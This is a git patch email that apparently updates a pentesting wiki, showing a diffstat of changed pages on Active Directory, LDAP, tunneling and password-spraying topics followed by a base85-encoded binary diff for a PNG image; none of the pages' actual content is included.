From f08eca82686c8fa0cf7e6cfc082b9b873d242238 Mon Sep 17 00:00:00 2001 From: CPol Date: Wed, 5 Oct 2022 21:51:12 +0000 Subject: [PATCH] GitBook: [#3568] No subject --- .gitbook/assets/image (1) (6).png | Bin 0 -> 26717 bytes .gitbook/assets/image (1).png | Bin 26717 -> 55568 bytes README.md | 2 + SUMMARY.md | 1 + ...-ns-mdns-dns-and-wpad-and-relay-attacks.md | 75 +++++++--- .../tunneling-and-port-forwarding.md | 116 +++++++++++---- .../pentesting-ldap.md | 136 +++++++++++------- .../pentesting-web/tomcat.md | 2 +- .../kerberos-double-hop-problem.md | 46 ++++++ .../active-directory-methodology/laps.md | 60 +++++--- .../pass-the-ticket.md | 4 + .../password-spraying.md | 135 +++++++++-------- .../README.md | 68 +++------ 13 files changed, 417 insertions(+), 228 deletions(-) create mode 100644 .gitbook/assets/image (1) (6).png create mode 100644 windows-hardening/active-directory-methodology/kerberos-double-hop-problem.md diff --git a/.gitbook/assets/image (1) (6).png b/.gitbook/assets/image (1) (6).png new file mode 100644 index 0000000000000000000000000000000000000000..7f0ce2044fa5de3579a9d7aa4d72dfeb755c093c GIT binary patch literal 26717 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 